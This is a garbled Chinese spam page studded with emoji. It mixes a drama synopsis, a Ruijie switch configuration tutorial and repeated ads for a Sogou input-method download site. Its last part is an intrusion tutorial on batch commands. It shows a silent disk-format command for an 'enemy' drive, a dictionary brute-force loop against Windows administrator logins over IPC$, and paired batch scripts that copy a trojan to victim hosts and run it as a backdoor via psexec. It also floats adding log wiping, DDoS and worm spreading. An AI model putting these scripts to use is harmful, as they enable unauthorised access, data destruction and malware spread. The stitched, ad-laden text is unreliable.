[tg:aoshunseo]讲述(🐝)一名法(🤑)学院毕业生乔(🌽)德(✝)回到家乡准备司法考试，但做(😏)殡葬业的父亲却(🤴)生病(🐘)了，怕鬼的他只(😧)好硬着头皮协助家业。而锡安(🛂)因为无法(🏼)接受前(🍄)女友的死亡，想(🌩)方设(🥊)法希望能再跟她见上一(🕠)面，因此来帮乔德的忙。究竟在这个生与死交会的地(📻)方，他们会遇见什么样的故事呢？
锐捷三层交换命令大全
1.首(🅰)先是三层交换机的(🤼)配(♉)置
Ruijie>enable ------>进入特(📎)权模(🚬)式
Ruijie#configure terminal ------>进入全局配置模(🔛)式
sdk_1(config)#hostname cd12371 ------>配置交换机的名字(🍝)为sdk_1
(🔑) sdk_1(config)#interface vlan 1 ------>进(🏪)入(🌡)vlan 1
sdk_1(config-if)#ip address 192.168.1.245 255.255.255.0 ------>为vlan 1设置管理ip
sdk_1(config-if)#exit ------>退回到全局模式
(🎒) sdk_1(config)#line vty 0 4 ------> 进入telnet密码配置(🥩)模式
(🚍) sdk_1(config-line)#login ------>启用需输入密(🏒)码才能telnet成功
(🎈) sdk_1(config-line)#password Lhyj@)!$cd12371 ------> 将telnet密码设置为123
(🐻)sdk_1(config-line)#exit ------> 回到全局配置模式
(🍲) sdk_1(config)# enable secret Lhyj@)!$cd12371 ------>配置进入(🖌)特权模式(😎)的密码为123
(🍆)sdk_1(config)#enable service web-server ------>全局web功能(📥)
(🕚) sdk_1(config)#vlan 10 name yunwei ------>
sdk_1(config)#vlan 20 name yanfa ------>建立(🤱)各部 门 的vlan
sdk_1(config)#vlan 30 name fuwu ------>
sdk_1(config)#interface vlan 10 ------>进入vlan 10
sdk_1(config-if-VLAN 10)#ip address 172.10.10.254 255.255.255.0 ------>配置各(🏸)个vlan的地址
sdk_1(config-if-VLAN 10)#exit
(🎟)sdk_1(config)#interface vlan 20 ------>进入vlan 20
(🌗) sdk_1(config-if-VLAN 20)#ip address 192.168.20.254 255.255.255.0
sdk_1(config-if-VLAN 20)#exit
sdk_1(config)#interface vlan 30 ------>进(✉)入vlan 30
sdk_1(config-if-VLAN 30)#ip address 192.168.30.254 255.255.255.0
sdk_1(config-if-VLAN 30)#exit
(👶)sdk_1 (config)#service dhcp ---->开启dhcp server功能
sdk_1 (config)#ip dhcp ping packets 1
---->在dhcp server分配(🌨)IP时(🐟)会先去(🏘)检测将要分配的IP地址是否已有(💃)人使用，如果没(🐥)人使用则分配(🔢)，若(🔌)已有(🛵)人(😄)使(🚌)用则(🥈)再(🏻)分配下一(🌨)个IP
sdk_1 (config)#ip dhcp excluded-address 192.168.10.1 192.168.10.100
sdk_1 (config)#ip dhcp excluded-address 192.168.10.141 192.168.10.254设置地址为：192.168.10.101至192.168.10.140的(🌩)ip地址分配给客户端(🌙)
sdk_1 (config)#ip dhcp excluded-address 192.168.20.1 192.168.20.100
sdk_1 (config)#ip dhcp excluded-address 192.168.20.161 192.168.20.254设置地址为：(🍊)192.168.20.101至192.168.20.160的(🔩)ip地址分配给客户端
(🕶)sdk_1 (config)#ip dhcp excluded-address 192.168.30.1 192.168.30.100
(😖)sdk_1 (config)#ip dhcp excluded-address 192.168.30.121 192.168.30.254 -设(🙏)置地(🤢)址为：(💡)192.168.60.101至192.168.60.120的ip地址(📸)分配给客户端
sdk_1 (config)#ip dhcp pool yunwei ---->新建一个dhcp地址池名为guanli
sdk_1 (dhcp-config)# lease 0 12 ---->租期时间(🍶)设置为(🐅)12 小时(🐏)
(😌)sdk_1 (dhcp-config)# network 192.168.10.0 255.255.255.0 ----给客户(📔)端分配的地(🔅)址段
sdk_1 (dhcp-config)# dns-server 61.139.2.69 ---->给客户端分配的DNS
(😶) sdk_1(dhcp-config)# default-router 192.168.10.254
sdk_1(dhcp-config)#exit
sdk_1(config-if-FastEthernet 0/1)#no switchport ---->开启路由模式
sdk_1(config-if-FastEthernet 0/1)#ip address 192.168.2.2 255.255.255.0 ---->配置地址
sdk_1(config-if-FastEthernet 0/1)#no shutdown ---->开启该接口
sdk_1(config-if-FastEthernet 0/1)#exit
2.扩展ACL
(config)#ip access-list extended listname
定义命名扩(🕹)展列表，命(🗼)名为listname,extended为扩展(📍)
(config-ext-nacl)#deny tcp 192.168.30.0 0.0.0.255 192.168.10.0 0.0.0.255 eq www 拒绝源(🎶)地址为192.168.30.0网段的IP访问目的地址为192.168.10.0网段的WWW服务
注(🍅)：deny：拒绝通过，可选：deny(拒绝通过(🛐))、permit(允许通过)
(🎴)tcp: 协议名称(🛡)，协议可以(🔃)是(🕓)udp, ip，eigrp, gre, icmp, igmp, igrp等(📫)等。
(🧥) (🤷)192.168.10.0 0.0.0.255：源地址及源地址通配符
192.168.30.0 0.0.0.255：(🕘)目的地址及(🛐)目的地址通配(🛰)符
eq：(🍧)操作符(🌕)(lt-小于(🥙)，eq-等于(📘)，gt-大于，neg-不等于，range-包含)
www：端口号(🏞)，可使用名称或具体编号
可以(🐬)使用的协议名称(或编号)和端口名称(或编(🤩)号)请打?查(🌒)询。
(config-ext-nacl)#permit ip any any 允许其它通过
(config-ext-nacl)#end 返回
(🐼)(config)#interface vlan 10 进(🕰)入(🛬)端口配置模式(⏪)
(config-if)# ip access-group listname in 访问控制列表(🥪)在端口下in方向(🔓)应用;可选：in(入栈)、out(出栈)
(config-if)#end 返回
(🐥)注：配置ACL时，若(🎽)只想对其中部分IP进行限制访问时，必须配置允许其流量(🏝)通过(📈)，否(🗨)则(🎨)设备只会对(🗺)限制IP进(📳)行处理，不会(🔋)对非限制IP进行允许通(🧖)过处理。
看完以(🥢)上的内(😵)容(👟)，你是否对(🎬)这些命令(🛐)有了大(🐮)致的了解呢。锐捷始终坚持的理念是：品质源于设计。这(🐤)一点在锐(📕)捷旗下推出的产品就能够明显的看出了。当(🛤)然(🚐)，在使用的(📷)过程中难免出现失误操作(⬇)，或者对一些操作步骤(📡)较(🔩)为模糊。就比如如何查看锐捷三层交换机的设置，这是不少人都比(🖲)较难以下手的操作。因此，希望看完以上(📇)内容能(⚽)够操作您操作的失误率。
综上所述(📩)，搜狗输入法官网以其丰富(🧀)的内容资源、(🎍)便捷的(🆗)下载通道和专业的用户服务，成(🐑)为了广大输入法用户不可或(🌮)缺的信息港(✡)湾。无论您是初次接触搜(🔝)狗输入法的新用(⚽)户，还(🍣)是多(🛃)年的忠(⏭)实粉丝，都能在这里找(📦)到(🌉)满足您需求的(🕛)资源和服务。通过不断优化官网内容和结构，我们致力(🦅)于提升搜狗(♊)输入法在搜索引擎中的可(🐌)见度，让更多(🛂)用(⛸)户能够(💅)轻松找到并享受到搜狗输入法带来(🐿)的(🎐)便捷与高(🆕)效。请访问：http://pinyin.37moyu.com/
2.@ 命令(🌂)
表示不显示@后面(🚥)的命令，在入侵过程中(🦈)(例如使用批处理来(🍬)格(🔅)式(🐛)化敌人的(🔙)硬盘)自(🛹)然不能让(💵)对(🙏)方看到你使用的命(🤲)令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令(🏿)是(💶)不可以使用/y这个参数(🔂)的，可(💸)喜的是微软留了个autoset这个参数给我们，效果和/y是一样的(🗡)。)
3.Goto 命令
指定(🔎)跳转到标签，找到标签后，程序(🛷)将处理从下一行(📰)开始的命令。
(🌋) 语法：goto label (label是参(🏺)数，指定所要转向的批处理程序中的行。)
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果(😴)这里的if、(🔴)%1、%2你不明白的话，先跳过去，后面会有详(💩)细的解释(🥥)。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但(🎚)是最好是(🚖)有意义(📅)的(💽)字母啦，字母前(💩)加个(🏠)：用来表(🏧)示(☔)这(🚩)个字母是(🔺)标签，goto命令就是根据这个：(👟)来寻找下一步跳到到那(🕸)里。最好有一些说明这样(🦂)你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令，在(📃)C语言中(🌁)相(💜)当与/*--------*/,它并不会被执行，只是起(⬅)一个注释的作(🕚)用，便于别人阅读和你自己(🔋)日后修(🔈)改。
(🎍) Rem Message
Sample：@Rem Here is the description.
5.Pause 命令(🚵)
运行(👩) Pause 命令时，将显示下(⛅)面的消息：(🦋)
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的(🛫)所(🐫)有文件均复制到d:\back中。显示的(🎃)注释提示您将另一(🥣)张磁盘(🍂)放入驱动器 A 时，pause 命令会使程序挂起，以便您(🤩)更换磁(🚭)盘，然后(🙏)按(🉑)任意(✨)键继续处理。
(😔)6.Call 命令
从一(🙂)个批(🥊)处理程序调用另一(🦅)个批处理程序，并且不终止父批(🎀)处理程序(🚶)。call 命令(🍌)接受用(🏇)作调用目标的标(🐉)签。如果在脚(🆚)本或批处理文件外(👨)使用 Call，它将(📐)不会在(⏸)命令行起作用。
语法(🚬)
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要(➿)调用的批(🌠)处理程序的位置和名称(🕘)。filename 参数必须具有 .bat 或 .cmd 扩展名。
(🚑)7.start 命令(💗)
调用外(😂)部程(🚐)序，所有的DOS命令和命令行(🧘)程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口(♍)最小化
(🎢)SEPARATE 在分开的空间内开始 16 位 Windows 程序
(🚊)HIGH 在 HIGH 优先级类别开始应用程序(👥)
REALTIME 在 REALTIME 优(🐕)先级类别开始应用程序
(➿) WAIT 启动应用程序并等(😾)候它结束
parameters 这(😔)些为传送到命令/程序的(📚)参数
执(👛)行的(🎯)应用程(⏪)序是 32-位(✅) GUI 应用程序时(🌂)，CMD.EXE 不等应用程序(🔴)终止就返回命令提示(🎧)。如果在(🏎)命令(📕)脚本内执行，该新行为则不会发生。
8.choice 命令(🔙)
(🌅) choice 使用此命令可以让用户输(🌂)入一(🦌)个字符，从而(🈴)运行不同(🏄)的命令。使用时应该加/c:参数，c:后(😮)应(📴)写提(🛰)示可输入的字符，之间无空格。它的返回码为1234……
(💹) 如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的内容如下:
@echo off
(🌌)choice /c:dme defrag,mem,end
(🏉)if errorlevel 3 goto defrag (应(✝)先判断数(📋)值最高的错误(🧙)码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
(✒) 此(🧦)文件(⏮)运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作(🚜)出判断，d表示执行标(📓)号为defrag的程序(📀)段，m表示执行标号(😥)为mem的程(👷)序段，e表示执行标号为end的程(🌡)序段，每个程序段最(🌗)后都以(🍫)goto end将程序(🏺)跳到end标号处，然后程序将显示good bye，文件结束(🛄)。
9.If 命令
if 表示将判断是否符合规定的(🚬)条件，从而决定执行不同的命令(🥍)。 有三种格式:
1、(🔔)if "参数(🧜)" == "字符串" 待执行的命(🥡)令
参数如果(🏮)等于指定的字符串，则条件(🔉)成立，运行命令(💰)，否则运行下一句。(注意是两个等号)
(🧠) (🗑)如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文(🕐)件名 待执行的命令
(🙂) 如(😥)果有指(🎸)定的文件，则条件成立，运行命(🃏)令，否则(🍼)运行下一句。
(🎨) 如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命(➕)令
(🎀)如(🏹)果返(👴)回码等于指定的数字，则(😲)条(👙)件成立，运行命令，否则运行下一句(🏍)。
如if errorlevel 2 goto x2
(👘) (☕)DOS程序(🦅)运行时都(🏹)会返回一个数(🚞)字给DOS，称(🥨)为错误(📴)码errorlevel或称返(👒)回(🏒)码，常(♐)见的返回码为0、1。
10.for 命令
for 命令是一个比较复(🏍)杂的命令，主要用(🍎)于参数在指定的范围内循环执行(🚮)命令。
在批处理文件(🌿)中使(🉑)用 FOR 命令(🗳)时，指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一(🗼)字母(📹)可替换的(🍾)参数。
(set) 指定(㊗)一个或一(🐑)组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定(🤫)参数或命令行(📵)开关。
在批处理文件中使用 FOR 命令时，指定变量(⭐)请使用 %%variable
而不要用 %variable。变量名称是区分大小写(🌫)的(🚃)，所以 %i 不(😘)同于 %I
(💖)如果命令扩展名被启(🔈)用(🦏)，下列额外的 FOR 命令格式会(🍱)受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果(😄)集中包含通配符(🥓)，则指定(🍥)与目录(🆕)名(🤼)匹配，而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为(🎒)根的目录树，指向每个目录(🦏)中的FOR 语句。如果在 /R 后没有指定(🍞)目录，则使用当(🌄)前目录。如(🙅)果集仅为一个单点(.)字符，则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
(🕧) 该集(〰)表示以增量形式(🥩)从(🎣)开始到结束的(🐩)一(✒)个数字序列。
因此，(1,1,5) 将产(👬)生序列(🍺) 1 2 3 4 5，(5,-1,1) 将产(🎍)生序(😱)列(🖍) (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
(🗼) 或者，如果有 usebackq 选(🏜)项(💚):
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
(🍲)FOR /F ["options"] %variable IN (command) DO command
(🚾) filenameset 为一个或多个文件名。继续到 filenameset 中的下一(🏐)个文件之前，每份文件(😟)都(💛)已被打开、(🍠)读取(🗂)并(🐘)经过处理。处理包括读取文件，将其(🔪)分成一行行的(♌)文字，然后将每行解析成零(📖)或更多的(🤮)符号。然后用已找(💮)到的符号字符串变量值(🌍)调用 For 循环。以默认方(🖼)式，/F 通(🐩)过每个(🌬)文件(⏹)的每(🖱)一行中分开的第一个空白符号。跳过空白行。您(👸)可(🏒)通过指定可选 "options"参数替代默(📌)认解析操作(🎮)。这个(⌚)带引号的字符串包括一个或多个指定不同解析选(💑)项的关键字。
这些关键(🙏)字为(📸):
eol=c - 指一个(🌿)行注释字符(🎒)的结(🈯)尾(就一个(🦌))
skip=n - 指在文件开(⏮)始(🛸)时忽略的行数(🚜)。
(👐) delims=xxx - 指分隔(🗒)符集。这(🖨)个替换了空格和跳格键的默认分隔符(🔨)集。
tokens=x,y,m-n - 指(📗)每行(🛎)的哪一个符号(🗻)被传递到每个迭代的 for 本(🏭)身。这会导(💊)致(💰)额外变(🐻)量名称的格式为一(🏴)个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号(🙇)，那么额外的变量将在最后一个符号(📆)解析之(🏮)分配并接受行的保留文本。
usebackq - 指(💵)定新语法已在下类情(🐉)况中使用:
在作为命令执(🔮)行一个后引号的字符串并且引号字(🖕)符为文字字符串命令并(🧛)允许在 fi中使用双引号扩起文件(🗳)名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分(🙍)析 myfile.txt 中的每(🕌)一(🚽)行，忽略以分号打头的那些行，将每行中(🆓)的第二个和(😺)第(🕓)三个符号传递给 for 程(🕌)序(🆚)体;用逗号(⏹)和/或空格定界符号。请注意，这个 for 程序体的语句引用(🤫) %i 来取得第二个符号，引用 %j 来取(🔇)得第三个(🗂)符号(🌱)，引用 %k来取得第三个符号后的所有剩余符号。对于带有空(🍾)格的文件名，您需要用(🛰)双引号将文(🏊)件名括起(🎰)来。为了用这种方式来使用(🖋)双引(🤗)号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作(🈲)定义某个(🕳)要分析的字符串的。
%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门(💋)得到说明的。您可以通过 tokens= 一行指定最多 26 个符号(👻)，只要不试图说明一个高于字母(♿) z 或Z 的变量(🤨)。请记住，FOR 变量是单一字(📷)母、分大小写和全(🔕)局的;同时不(💗)能有(💞) 52 个以上都在(🥫)使用中。
您还可(😇)以在相(😑)邻(🚷)字符串上使用(㊙) FOR /F 分析逻辑;方法是，用单引号(🍼)将括(🗞)号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一(🥄)个单一(👒)输入行。
(🥋)最(🚂)后，您可以用 FOR /F 命(📷)令来(🤔)分析命令的输出。方(🔗)法是，将括号之间的(🥀) filenameset 变成一个反括字(👅)符串。该字符串会被(👎)当作(🤰)命(🦗)令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会(🐪)枚举(👉)当前环境中的环境变量名称。
另外(🦍)，FOR 变量参照的(🙋)替换已被增(🚽)强。您现在(🧒)可(🥅)以(👵)使用下列选项语法:
~I - 删除任何(💌)引号(")，扩充 %I
%~fI - 将 %I 扩充到一(🤠)个完全合格(⛔)的路径(💳)名
%~dI - 仅将 %I 扩充到(😋)一(💅)个驱动(👋)器号
(🍝)%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将(➿) %I 扩(🈲)充到一个文(🚭)件(🕚)名
%~xI - 仅(🕖)将 %I 扩充到一个(🕋)文件扩展(🕤)名
%~sI - 扩充(🔐)的路径(💦)只含有短(🚻)名
%~aI - 将 %I 扩(🎃)充(👥)到(😍)文件的文件属性
%~tI - 将 %I 扩充到文件的(🍀)日期/时间
(🗡)%~zI - 将(🐀) %I 扩(⬆)充到文件的大小
(🤼)%~$PATH:I - 查找列在路径环境(👆)变量的目(🥌)录，并将 %I 扩充到(🤼)找到的第(🎠)一个完全合格的名称。如果(⬛)环境变量(💬)未被定义，或者没(🛸)有找到(🌕)文件，此组合键(📨)会扩充空字符串可以组合修饰符来得到多重结果(📀):
(🏧) (💄)%~dpI - 仅将 %I 扩(❕)充(🛫)到(🚽)一个驱动器(👸)号和(🦖)路径
%~nxI - 仅(🎤)将 %I 扩(🎇)充到一个(🦊)文件名和扩展名
%~fsI - 仅将 %I 扩(🤛)充到一个带有短名的完整路(🌥)径名(⤵)
%~dp$PATH:i - 查(👊)找列在路径环境变量的目录，并将 %I 扩充到(😈)找到(🥞)的第(🧕)一个驱动器号和路径。
(🧘) %~ftzaI - 将 %I 扩充到(🏎)类似(🖲)输出线路的 DIR
在以上(🐪)例子中，%I 和 PATH 可用其他有效(🌒)数值代替。%~ 语(😭)法(😶)用一个有效的 FOR 变量名终止。选取类似 %I 的大写变(🔬)量(⬅)名比较易读(🎠)，而且避免与(🕒)不分大小写的组合键混淆。
以上是MS的官方帮助，下面我(🚍)们举(🌌)几个例子来具体说明一下For命令(🗃)在(🐪)入侵(💴)中的用途。
sample2：
(🤓) 利用For命令来实(👿)现对一台目标Win2k主机的暴力密(🌧)码破解。
(🕔)我们(🤯)用net use \\ip\ipc$ "password" /u:"administrator"来(♊)尝试这(🌵)和目标主机进行连接，当成(👖)功时记下密码。
最(♌)主要的命令是(🐹)一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来(🤷)表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连(🦐)接。然后将程(⛑)序运行结果传(🧦)递(🥚)给(🏨)find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。
sample3：
你有没有过手(🏎)里有大量(🕧)肉鸡等着你去种(👴)后门 木(📑)马呢?，当(🌞)数量特别多的时候，原本很开(🔃)心的一件事都会变得很郁闷(🌨)：)。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么(😺)如何实现呢?呵(🏠)呵，看(📆)下去你就(🦋)会明白了。
主(🈳)要(🎅)命令也只有(🎶)一条(🏺)：(在批处理文件中使用 FOR 命令时，指定变量使用 %%variable)
(🏐) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
(🅾) tokens的用(🆖)法请参见(🛢)上面的(🐥)sample1，在这里它(🌹)表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用(🌨)net use命令来建立IPC$连接，并copy木马(🍲) 后门到victim，然后用返回码(If errorlever =)来筛选成功种植后(🐫)门的主机，并echo出(👝)来，或者echo到(🌜)指定的文件。
(🕘) delims= 表示vivtim.txt中的(😰)内容是一空格来分隔(🚇)的。我想看到(🐘)这(🛷)里你也一定明(🛺)白这victim.txt里的内容是什么(🔳)样的了(🤽)。应该根据%%i %%j %%k表(💫)示的(🎏)对象来排列，一般就是 ip password username。
代码雏(🏜)形：
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
(🚟) @echo off
@if "%1"=="" goto usage
(🌦) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
(🔷)------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
(🉐) @echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
(🏎) @p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
(📬) @echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种(🌃)植后门(🤟)批处理的雏形，两(🌸)个批处理和(🤕)后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展(🤰),例如:加(🍐)入清除日志 DDOS的功能(🍮),加入定时添加用户的功能,更深入(🐞)一(🏂)点可(💃)以使(🔏)之具备自动(🏬)传播功能(🧤)(蠕(🆙)虫).此处不多做叙述(🏂),有兴趣的(🥒)朋(💵)友可(🤢)自行研究.
搜狗输(🤧)入法官网不(🗝)仅提供了便捷(🕰)的下(📯)载通道，还(🌇)为用户准备了详尽的使用指南和贴心的客户服务(😬)。通过访问 http://pinyin.37moyu.com/ ，您将进入一个(🥍)全新(🗾)的智能输入(🐴)世界。无论您遇(📲)到任何问题或困惑，搜(📌)狗输(🈂)入法官(🤕)网都(🐨)将是您(📋)最(🍩)坚实(🔷)的后盾。立即(🌨)点击链(🐙)接，开启您的智(⏳)能输入之(📋)旅吧！